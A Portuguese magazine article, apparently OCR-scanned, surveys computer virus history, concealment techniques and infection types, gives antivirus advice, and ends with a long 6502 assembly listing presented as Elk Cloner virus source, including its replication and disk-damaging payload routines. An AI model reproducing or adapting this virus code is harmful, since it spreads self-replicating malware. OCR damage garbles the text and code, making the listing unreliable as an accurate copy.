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Virus

Continuando o assunto de meu artigo da edicdo anterior, desta vez irei falar sobre Virus de
computador. Antes, porém, quero ressaltar: “Tenha sempre em mente que nem tudo que
acontece de errado com seu computador, sistema ou arquivos é causado por virus, worms
ou ferramentas hackers. Muitas vezes os problemas sdao causados por erros do proéprio
usuario, falhas de programa, falhas de hardware e incompatibilidade entre arquivos de
sistema”, portanto, sem parandia, vamos entender o que sdo e o que fazem esses programas
capazes de se anexar a outros programas de forma automatica e que sdo classificados como: “Virus
de computador”.

Um pouco de histéria

A melhor forma de entendermos algo é compreendendo desde o principio, por isso vamos analisar
resumidamente a histéria do Virus de computador.

O conceito de programa autocopiante foi estabelecido pela primeira vez pelo cientista Hingaro John
von Neumann em 1949 em seu trabalho “Theory and Organization of Complicated Automata”. Em
1959, H. Douglas Mcllroy, Victor Vysottsky, e Robert Morris, programadores dos laboratérios Bell,
inventam o jogo “Core Wars”, em seus IBM 360, neste jogo pequenos programas tentavam Hackear,
invadir ou destruir outros programas. A descricdo da ameacga dos virus foi ilustrada nos anos 70 nas
histérias de ficcao cientifica de David Gerrold .

O primeiro programa que poderia receber na pratica a classificacdo de virus foi o “Elk Cloner” (1981),
um programa que infectava os disquetes do Apple II (veja o cddigo-fonte no fim desse artigo). Os
disquetes do Apple II vinham com o sistema operacional (DOS - Disk Operational System) e o virus,
quando infiltrado, exibia na tela a seguinte “poesia”:

Elk Cloner: The program with a personality

It will get on all your disks
It will infiltrate your chips
Yes it's Cloner!

It will stick to you like glue
It will modify ram too
Send in the Corner!

Em 1983, em sua tese de doutorado, Fred Cohen (http://all.net/oldindex.html) define o que é “Virus
de computador”. Segundo a divisdao de seguranca de computadores do Instituto Nacional de Padrdes e
Tecnologia dos EUA (http://csrc.nist.gov/), para ser classificado como virus de computador o
programa deve ter as seguintes propriedades:

Replicagéo ( capacidade de se copiar )

Necessita um programa para hospeda-lo e transporta-lo ( nisso ele difere dos Worms )
Ativagao por acao externa (como qualquer programa)

Multiplicagéo (virtualmente) limitada ao sistema

A 3 de novembro de 1983 o primeiro “virus” foi concebido como um experimento para um ser
apresentado em um seminario de seguranca de computadores num computador VAX 11/750 rodando
Unix. Em 1986 Ralf Burger escreve e distribui seu virus “Virdem” em uma conferéncia sobre
computadores na Alemanha. Mas o primeiro “real” virus a infectar computadores IBM-PC foi o “Brain”,
criado por dois irmaos paquistaneses que, analisando o setor de Boot dos disquetes, desenvolveram
um meio de “carregar” seu programa nele.

O primeiro trojan surge em 1985 num programa de “graficos avancados” chamado EGABTR como um
jogo chamado NUKE-LA.

Em 1987 surge o primeiro infectador de arquivos: o Lehigh (recebeu este nome por haver sido
descoberto na Universidade Estadunidense Lehigh), que infectava o “Command.com” e, meses ap0ds,
surge o famoso “Jerusalem” (descoberto pela universidade hebraica em Israel) que talvez seja o mais




bem sucedido programa da histéria, ja que ainda ha registros de infeccdo por ele (que outro programa
escrito em 1987 continua em uso, por assim dizer, popular?).

Em 1988 um garoto escreve o “Stoned”, um virus de Boot, para ver se conseguia criar um virus.
Apos ter testado seu funcionamento, temendo as conseqléncias dele ser “propagado”, deletou as
copias mas manteve uma em sua casa. Seu irmdo mais novo com um amigo resolveram infectar
alguns diquetes e espalha-lo por brincadeira, o resultado foi uma das primeiras “pandemias” de virus
de computador cujo controle foi bastante problematico. Neste mesmo ano o primeiro antivirus, o
“Zuk”, criado por Denny Yanuar Ramdhani (Bandung, Indonesia), surge para remover o virus “Brain”
O virus “Dark Avenger”, o primeiro infectador rapido surgiu em 1989 e o primeiro virus polimdrfico em
abril de 1991 (Tequila).

O desenvolvimento posterior dos virus foi marcado por uma constante procura de novas formas de
replicacao e de ocultamento.

Estrutura basica do virus de computador
Wirus de computador - Partes Todo virus de computador possui trés “programas” ou sub-rotinas
Sistemna de ocultamento basicas: ocultamento, ir;fecgéo e carga. Entendemos por
ocultamento todos os artificios colocados no cddigo do programa
viral para impedir sua deteccdo e/ou destruicdo. O sistema de
Sistema de analise infeccdo sempre é provido de um modo de analise que visa impedir
. - que arquivos ja infectados o sejam novamente. E a carga € o
€ 'nfecgaﬂ conjunto de agdes maléficas (ou ndo essencialmente) que possui
um acionador légico (por data, geralmente).
Vamos esmiugar cada uma dessas partes com suas subdivisdes.

Carga destrutiva

Sistemas de ocultamento

Quem cria um virus normalmente o escreve tentando dota-lo de mecanismos que dificultem
ou impecam que ele seja detectado e/ou destruido antes que cumpra sua tarefa.

A primeira tarefa de um virus é espalhar-se o maximo possivel e, entdo, deflagrar sua carga.

Nao é dificil imaginar por que quase sempre a carga deva ser destrutiva, se formos pensar em
guem se beneficiaria por isso logo passamos a imaginar que sdo os proprios fabricantes de antivirus
que criam essas pragas justamente para venderem seus produtos, mas, na verdade, quando
estudamos a origem individual de cada virus percebemos que estamos tratando de pessoas que
acham essa destruicao divertida ou apenas estdo testando as possibilidades da tecnologia sem ligar
para as possiveis conseqiiéncias funestas que possam causar.

Muita gente acha que esses “coders” de virus (programadores que escrevem virus) ndao devem
ser perseguidos e presos mas, se vocé analisar psicologicamente: sdo pessoas que sabem que estdo
fazendo algo errado, que vai prejudicar muita gente, se empenham em fazer isso e se satisfazem com
o estrago gerado. S3o pessoas com distlrbios afetivos e relacionais e de potencial perigoso muito
elevado, devem ser tratados como qualquer outro criminoso, afinal, o principio malévolo que os
motiva é o mesmo, a diferenga reside apenas no nivel maior de conhecimento que detém em relagdo
aos demais criminosos.

A mente de um criminoso € tipica e muito simples: embora busque se ocultar ao mesmo
tempo ele deseja notoriedade, é o jeito de se sentir *“homem”, em que sente ter algum poder. Por isso
os virus devem ter uma carga qualquer que revele o “poder” de quem o criou e qudo “esperto” ele é.

Por mais “idiotas” que sejam o0s que escrevem virus muitas vezes eles testam principios e
conceitos muito interessantes cujo estudo vale a pena para quem quer ter melhor conhecimento de
sistemas e programacao, nisso se incluem as técnicas de ocultamento.

Ha cinco tipos de técnicas de ocultamento: Ocultagdo, Protecdo, Camuflagem, Evaséo, e
Residéncia.

Nas técnicas relativas a ocultamento encontramos os mecanismos de “stealth” e de
“encriptagdo”.

Stealth

E o conceito de ficar “invisivel” aos sistemas de busca de antivirus.

Varios sdo os graus de invisibilidade e eles englobam técnicas tdo diversas quanto a
originalidade do “coder” permitir.

Basicamente essa “invisibilidade” é conseguida procurando-se esconder as modificacGes que o
virus faz no arquivo. Um dos meios mais comuns é acionar certas interrupcbes (por assim dizer,
fungdes do BIOS), que impedem a notificagdo de erros ou que seja feita leitura nos trechos onde o
virus estda, sendo que, neste caso, ele precisa manter-se residente na memoria (ou seja, em
funcionamento).

Alguns virus procuram manter o tamanho dos arquivos infectados como eram no original
(usando o que se chama “cavidade” - Isso geralmente causa erros no funcionamento normal do



arquivo, ja que parte de seus cddigos tem que ser excluidas) e dificilmente consegue manter seu
cédigos de checagem (CRC) correto.

Algum virus se mantém invisiveis mesmo quando lidos por um antivirus, para isso modificam
a tabela de vetores de interrupcdo (IVT) enquanto outros se carregam acima da memoria baixa do
DOS (640 KB), alguns até mesmo restauram o arquivo antes que ele seja lido pelo antivirus para
depois reinfecta-lo.

Para que as técnicas de “Stealth” funcionem, em muitos casos, o virus precisa se instalar na
inicializacdo do sistema (geralmente no Boot), por isso os softwares antivirus devem também estar
instalados na inicializacdo, de modo a impedir que o virus ganhe acesso aos controles de interrupgdes
de erro ou a memoria. Se seu computador for infectado e o setor de boot for contaminado jamais
utilize comandos como fdisk/MBR. O virus Monkey, por exemplo, danifica a copia do MBR (Master Boot
Record), esse comando simplesmente destruiria as informagdes de seu HD. Procure utilizar um
antivirus em outro HD, Cds ou disquetes de limpeza (com softwares antivirus), ou antivirus por rede
para desinfectar seu micro.

Encriptagao

Um antivirus é um programa que procura certos “trechos” dos cddigos dos virus em locais nos
arquivos onde, se contaminados, esses trechos estariam (a isso chamamos “identidade” ou
“assinatura”). Se esses trechos sdo encontrados entdo é por que o arquivo esta contaminado!

Claro que esse método de busca por “trechos de virus” gera falsos positivos e, ndo raras
vezes, mesmo 0s mais sofisticados antivirus acusam arquivos inocentes de estarem contaminados sé
por que contém algum comando ou forma de compactacdo que o tornou similar a um virus segundo a
analise do programa antivirus.

Para resolver o problema da “assinatura” os virus usam técnicas de encriptagdo, ou seja,
alteram o cddigo original por um outro modificado de forma diferente em cada contaminagao para
impedir que o antivirus consiga pegar sua “identidade”.

Nas técnicas relativas a protegdo encontramos o “antidebugging” ou couracamento.
Anti-Debugging ou Encouragcamento

Em programacdo, a técnica de “depurar” um programa enquanto o mesmo funciona é
chamada de “Debug” (remover os “Bugs”), ou depuracdo. Durante esse processo € analisado o
funcionamento interno do programa a caca de eventuais erros, incongruéncias ou lapsos
(“esquecimentos”).

Claro que isso expGe o cédigo-fonte do programa.

Alguns virus sdo dotados de fungdes especiais para desativar ou atrapalhar o funcionamento
de programas de depuracdo, impedindo o acesso ao seu cdédigo. O método mais usual é se ocultar em
subclasses dentro do arquivo contaminado, dificultando ao maximo uma possivel analise.

Nas técnicas relativas a camuflagem encontramos o polimorfismo.
Polimorfismo

E uma técnica que visa alterar o cédigo & cada infecgdo.

Um “coder” desenvolveu uma ferramenta chamada “Dark Avenger Mutation Engine” (também
conhecido como MTE ou DAME) que permite a outros “coders” implementarem com facilidade o
polimorfismo em seus virus. A desvantagem deste mecanismo € que qualquer virus que venha a
adota-lo fica facil de ser detectado pelos antivirus, ja que recém mutagdes padronizadas e conhecidas.

A técnica comum de polimorfismo envolve criptografia simples (XOR), mas todo virus
criptografado deve ter uma parte normal (que é a que permite decriptar a parte encriptada) e, assim,
o polimorfismo ndo consegue ocultar 100% do virus, permitindo que ele seja pégo.

Nas técnicas relativas a evasdo temos o Tunneling (escondendo em tuneis)
Tunneling

Um método de deteccdo de virus é a interceptacdo. Para isso o antivirus fica rodando em
segundo plano, monitorando as atividades do computador a espreita de acGes realizadas por algum
virus.

Para escapar desta forma de deteccdo, uma das mais complexas técnicas utilizadas é a de
“tunneling”. Por meio dela um virus tenta ficar “abaixo” de cada processo sendo executado no
computador, através da manipulacdo direta das chaves de controle do sistema, por veio de uma ISR
(Interrupt Service Routine). Alguns programas antivirus tentam detectar isso e se instalar “abaixo”
dos virus que estejam utilizando essa técnica, o que pode gerar uma guerra de controle das
interrupgdes de sistema ocasionando problemas.



Residéncia

A técnica TSR (Terminate and Stay Residente) € uma forma oposta da Tunneling. Ao invés de
estar sob todos os demais processo, aqui se procura estar sobre todos eles, controlando-os.

Embora muitas pessoas achem que os comandos para se criar um virus sejam complexos, na
realidade sdo bem simples, eis como se programa isso em assembler:

Funcdo para permanecer residente em memoria apds terminar (TSR)
Interrupgao 31H

Registers: ah = 31H

al = 0 ; codigo de saida

dx = ## ; Tamanho da memodria a ser mantida (em paragrafos (16 bytes))
Returns: (sem retorno algum)

Se o arquivo tiver um tamanho de 365 bytes, a especificagdo de memoria seria “Tamanho” + 256 o resultado
dividido por 16 o que daria 39 paragrafos.

Um virus TSR pode simplesmente desativar o antivirus!

Para burlar sistemas antivirus e chegar ao controle antes deles os virus TSR tentam sempre
iniciar junto com o computador.

Como podemos perceber, a tarefa de se fazer antivirus exige ndo somente muito
conhecimento técnico como também habilidades taticas para se sobrepor as invengées dos “coders”.

E por isso que qualquer idiota é capaz de criar um virus (ha até kits tipo “monte o seu”), mas
somente pessoas com real conhecimento técnico e providas de muita inteligéncia tém capacidade para
criar antivirus. O ramo da seguranca de computadores € o que mais exige em termos de
conhecimento e de desenvolvimento tecnoldgico.

Atualmente muitos dos virus tem em seus codigos um banco de dados cuja funcdo é localizar
programas antivirus que estejam em funcionamento e desativa-los! Outros, além disso, danificam as
bases de dados dos antivirus.

Sistema de Analise e infecgao

Como vimos, um virus deve ser capaz de se multiplicar quando acionado, mas ndo pode
reinfectar um mesmo arquivo, isso seria perda inGtil de tempo. Entdo todos os virus sdo normalmente
dotados de algum meio para analisar se um arquivo ja esta ou ndo infectado (sistemas esses dos
quais os antivirus também se utilizam para um fim parecido). A andlise é um ponto fraco ja que
mesmo se o virus estiver usando um sistema antidebug, sua acdo da pistas para um investigador
descobrir como detectar se o arquivo esta ou ndo infectado.

Uma vez que o virus saiba que o arquivo ndo esta infectado deve proceder a sua infeccdo. Ha
cinco tipos principais de virus, dependendo do que eles infectam: Boot, arquivos, Multiplos - Hibridos
ou Multiparte (infectam o setor de Boot e arquivos), de macro e de script.

Os virus de Boot infectam os setores de inicializagdo de discos rigidos (Hds) ou disquetes. O
setor de inicializacdo (Boot) é a primeira parte a ser lida em um disco e traz especificacbes de quantas
trilhas ha nos discos, clusters (blocos de armazenagem), formatacgdo, localizacdo da FAT (File
Allocation Table), etc. Em suma, informa como deve ser lido o conteido que ha no disco.

Os virus que infectam arquivos contaminam arquivos que podem ser executados, como os
.com, .exe, .dll, .ocx, .scr, .pif, etc. Isso € necessario para que o virus seja executado também, junto
com o arquivo. E impossivel a infeccdo de arquivos .txt, .bmp ou outros arquivos que sé trazem
“dados” por que estes arquivos apenas contém informagdes para geracao de textos (txt) ou imagens
(bmp), ndo tendo como realizar comandos, o que seria necessario para acionar um virus. Porém,
lembre-se que a extensdo que importa é a final do arquivo. Se vocé receber um anexo de email
escrito tipo: “qualquer texto.txt .pif” é a extensdo .pif que se refere ao contelido do arquivo,
portanto, nesse exemplo, ele é executavel, podendo estar carregando um virus! (Os coders
geralmente colocam espacos antes da extensdo real que é para que ela ndo seja visualizada com
facilidade nas janelas de propriedades ou paginas de internet)

O virus multiparte infectam tanto o setor de boot como arquivos, garantindo assim melhor
taxa de propagacdo e sobrevivéncia.

Virus de macro e de script, como os nomes sugerem, sdo virus especiais capazes de infectar
nao a programas ou ao setor de boot, mas sim documentos como os do Word, do Excel, arquivos .vbs
em paginas de internet ou emails e arquivos .class do java. Até mesmo os arquivos de ajuda do
windows (.HIp e .chm) podem ser contaminados por virus!

Carga destrutiva

Independente da forma como se multiplicam é importante frisar que qualquer um deles pode



realizar acdes destrutivas em qualquer parte, podem danificar o setor de boot, podem carregar outros
virus, enfim, ndo se deve achar que um tipo possa ser pior que outro, todos podem ser igualmente
ruins.

A carga destrutiva é ativada por um acionador légico (trigger). Alguns virus usam datas (62
feira 13), dias de independéncia, um ou dois dias em determinado més, outros acionam a carga apos
algum tempo instalados, apo6s enviar emails, outros sdo destrutivos mesmo enquanto infectam.

A carga destrutiva é a parte ruim dos virus e, como no caso do Chernobill (CIH) pode
simplesmente “detonar” seu HD promovendo uma total perda de dados. Por isso mesmo sempre
devemos ter cdpias em backup (em disquetes ou CDROMs) de todos os arquivos que nos sejam
realmente importantes.

Alguns virus simplesmente brincam com a imagem na tela, outros sabotam teclas, mas ha os
que gravam o que o usuario digita e abre conexdes para que “hackers”, ou melhor, “araquers”,
tenham acesso a essas informagdes. Esse tipo de virus pode arrasar a vida de uma pessoa ou
empresa ao permitir que desconhecidos venham a saber senhas (bancarias e de emails), nUmeros de
cartdes de crédito e/ou outras informagdes confidenciais. Infelizmente muitos programas, além dos
virus, roubam essas informacgGes, sao chamados spywares.

Como garantir seguranca?

Primeiro lugar através do conhecimento! A informacdo sempre é a melhor arma que se pode
dispor. Ter um bom antivirus (Kaspersky http://www.kaspersky.com), manté-lo atualizado é
essencial. Um bom Firewall também ¢é imprescindivel (O ConSeal é excelente
http://www.voodoofiles.com/5057) se vocé acessa a rede de computadores (internet ou local) e
softwares de seguranca auxiliar, como o Alerta-Z (www.itabra.com). E claro que ndo se deve abrir
anexos de emails, exceto se tiver certeza de que sejam seguros, deve-se evitar que qualquer pagina
rode script ou utilize controles active-x que possam por em risco sua seguranca. Se vocé acompanha
meus artigos aqui vocé ja sabe como fazer todas essas coisas =).

Para quem gostaria de ter mais informagdes técnicas sobre virus de computador, uma opcdo € o livro
“The Giant Black Book of Computer Viruses” de Mark A. Ludwig (672 paginas)

Cédigo Fonte do Elk Cloner

ORG $9000
VERSN DFB $02
HIMEM LDA #$FF

STA $4C

LDA #$8F

STA $4D
DOPTCH LDA #$20

STA $A180

LDA #$5B

STA $A181

LDA #$A7

STA $A182
RUNPTCH LDA #3AD

STA $A4D1

LDA #$B6

STA $A4D2

LDA #$AA

STA $A4D3
LODPTCH LDA #$4C

STA $A413

LDA #>LOD

STA $A414

LDA #<LOD

STA $A415
BLDPTCH LDA #$4C

STA $A35D

LDA #>BLOD

STA $A35E

LDA #<BLOD

STA $A35F
CATPTCH LDA #$4C

STA $A56E

LDA #>CATALOG

STA $A56F

LDA #<CATALOG

STA $A570
USRPTCH LDA #$4C

STA $0A

LDA #>USRCMD

STA $0B



LDA #<USRCMD
STA $0C
BOOTUP CLD
JSR READ
LDX $B3BF
INX
STX $B3BF
JSR WRITE
JSR DESTROY
JMP $A180
TESTON LDA #300
STA FLAG1
LDA $AAG8
STA $B7EA
JSR READ
LDA $B3C2
CMP VERSN
BEQ TESTON1
LDA #$01
STA FLAG1
TESTON1 RTS
LOD JSR TESTON
LDA FLAG1
CMP #$00
BEQ LOD1
JSR CLONE
LOD1 JSR $A316
JMP $A416
BLOD  JSRTESTON
LDA FLAG1
CMP #$00
BEQ BLOD1
JSR CLONE
BLOD1 JSR $A2A8
JMP $A360
CATALOG JSR TESTON
LDA #$06
JSR $A2AA
LDA $B5BF
STA $AA66
LDA FLAG1
CMP #$00
BEQ RETURN
JSR CLONE
RETURN LDA #30
STA $B3BE
STA $B3BF
STA $B3CO
RTS
CLONE CLC
JSR READ
LDA IDENT
STA $B3CO
LDA VERSN
STA $B3C2
JSR WRITE
LDA $AA68
STA $B7EA
LDA #$02
STA $B7F4
STA $B7EC
LDA #$08
STA $B7ED
LDA #$0
STA $B7EB
STA $B7F0
LDA #$95
STA $B7F1
CLONE1 LDA #3$B7
LDY #$E8
JSR $B7B5
CLD
BCC CLONE2
RTS
CLONE2 DEC $B7ED
DEC $B7F1
LDA $B7F1
CMP #$8F
BNE CLONE1
LDA #$02



STA $B7F1
LDA #$01
STA $B7F4
STA $B7EC
LDA #$0
STA $B7ED
LDA #$B7
LDY #$E8
JSR $B7B5
CLD
BCC CLONE3
RTS
CLONE3 LDA #$4C
STA $280
LDA #$00
STA $281
LDA #$9B
STA $282
LDA #$02
STA $B7F4
LDA #$B7
LDY #$E8
JSR $B7B5
CLD
BCC CLONE4
RTS
CLONE4 LDA #$0
STA $B7EC
LDA #$A
STA $B7ED
LDA #$95
STA $B7F1
LDA #$B7
LDY #$E8
JSR $B7B5
CLD
RTS
READ  LDA #$01
STA $B7F4
JMP VTOC
WRITE  LDA #$02
STA $B7F4
VTOC  LDA #$11
STA $B7EC
LDA #$0
STA $B7ED
LDA #$BB
STA $B7F0
LDA #$B3
STA $B7F1
LDA #$0
STA $B7EB
LDA #$B7
LDY #$E8
JSR $B7B5
CLD
RTS
PRINT  STY $FC
STA $FD
LDY #$00
PRINTO LDA ($FC),Y
CMP #$00
BEQ PRINT1
JSR $FDED
INY
JMP PRINTO
PRINT1 RTS
PRTMSG LDY #>MSG
LDA #<MSG
JSR PRINT
PRTNUM LDA IDENT
STA $44
JSR $AE42
LDA #$8D
JSR $FDED
RTS
MSG  ASC'ELK CLONER V2.0 #'
DFB $0
IDENT  DFB $1
FLAG1 DFB $00



RET

RTS

USRCMDJSR $E6FB

CMD2

CMD3

CMD4

CPX #30B
BNE CMD2
JSR PRTMSG
RTS

CPX #30C
BNE CMD3
LDY #REPORT
LDA #<REPORT
JSR PRINT
JSR READ
LDA $B3BF
STA $44

JSR $AE42
LDA #$8D
JSR $FDED
RTS

CPX #30D
BNE CMD4
JSR CLONE
RTS

CPX #30A
BNE USRERR
JSR PRPOEM
RTS

USRERR LDY #>UERR

UERR

LDA #<UERR

JSR PRINT

JSR $FBDD

JMP $9DBF

DFB $8D

ASC 'ILLEGAL QUANTITY ERROR'
DFB $0

PRPOEM JSR $FC58

LDY #>POEM
LDA #<POEM
JSR PRINT
RTS

REPORT ASC 'BOOT COUNT: '

POEM

IOERR

DFB $0

ASC 'ELK CLONER!'

DFB $8D,$8D

ASC' THE PROGRAM WITH A PERSONALITY'
DFB $8D,$8D,$8D

ASC'IT WILL GET ON ALL YOUR DISKS'
DFB $8D

ASC'IT WILL INFILTRATE YOUR CHIPS'
DFB $8D

ASC 'YES IT'

DFB $A7

ASC 'S CLONER!'

DFB $8D,$8D

ASC'IT WILL STICK TO YOU LIKE GLUE'
DFB $8D

ASC'IT WILL MODIFY RAM TOO'

DFB $8D

ASC 'SEND IN THE CLONER!'

DFB $8D,$8D,$8D,$8D,$0

LDY #>ERRMSG

LDA #<ERRMSG

JSR PRINT

JSR $FBDD

JMP $9DBF

ERRMSGDFB $8D,$8D

ASC 'l/O ERROR'
DFB $8D,$00

DESTROY LDA $B3BF

DEST1

CMP #10
BNE DEST1
LDA #$69
STA $3F2
LDA #$FF
STA $3F3
JSR $FB6F
RTS

CMP #15
BNE DEST2
LDA #$3F
STA $32



DEST2

DEST3

DEST4

DEST5

DEST6

DEST7

DESTS8

DEST9

DEST10

DEST11

DEST12

DEST13

RTS

CMP #20
BNE DEST3
LDA $C030
LDA $C030
LDA $C030
RTS

CMP #25
BNE DEST4
LDA #$7F
STA $32
RTS

CMP #30
BNE DESTS5
LDA #1'
STA $B3A7
LDA #T'
STA $B3A8
LDA #B'
STA $B3A9
LDA #A'
STA $B3AA
RTS

CMP #35
BNE DEST6
LDA #$85
STA $AAB2
RTS

CMP #40
BNE DEST7
LDA #$00
STA $3F2
LDA #$03
STA $3F3
JSR $FB6F
LDA #$4C
STA $300
LDA #$00
STA $301
LDA #$03
STA $302
RTS

CMP #45
BNE DEST8
LDA #$80
STA $D6
RTS

CMP #50
BNE DEST9
LDA #>PRPOEM
STA $3F2
LDA #<PRPOEM
STA $3F3
JSR $FB6F
RTS

CMP #55
BNE DEST10
LDA #$FF
STA $BDD3
RTS

CMP #60
BNE DEST11
LDA #$20
STA $BDD3
RTS

CMP #65
BNE DEST12
LDA #$4C
STA $A180
LDA #$69
STA $A181
LDA #3FF
STA $A182
RTS

CMP #70
BNE DEST13
LDA #$10
STA $BDD3
RTS

CMP #75



DEST14

DEST15

DEST16

DEST17

DEST18

BNE DEST14
JMP $C600
CMP #76
BNE DEST15
JMP $C600
CMP #77
BNE DEST16
JMP $C600
CMP #78
BNE DEST17
JMP $C600
CMP #79
BNE DEST18
JSR READ
LDA #$00
STA $B3BF
JSR WRITE
RTS

RTS

LOADER ORG $9500

LOAD1

LDA #$02
STA $B7EC
LDA #$01
STA $B7F4
LDA #$03
STA $B7ED
LDA #30
STA $B7EB
STA $B7F0
LDA #$90
STA $B7F1
LDA #$B7
LDY #3E8
JSR $B7B5
INC $B7ED
INC $B7F1
LDA $B7F1
CMP #$96
BCC LOAD1
JMP HIMEM



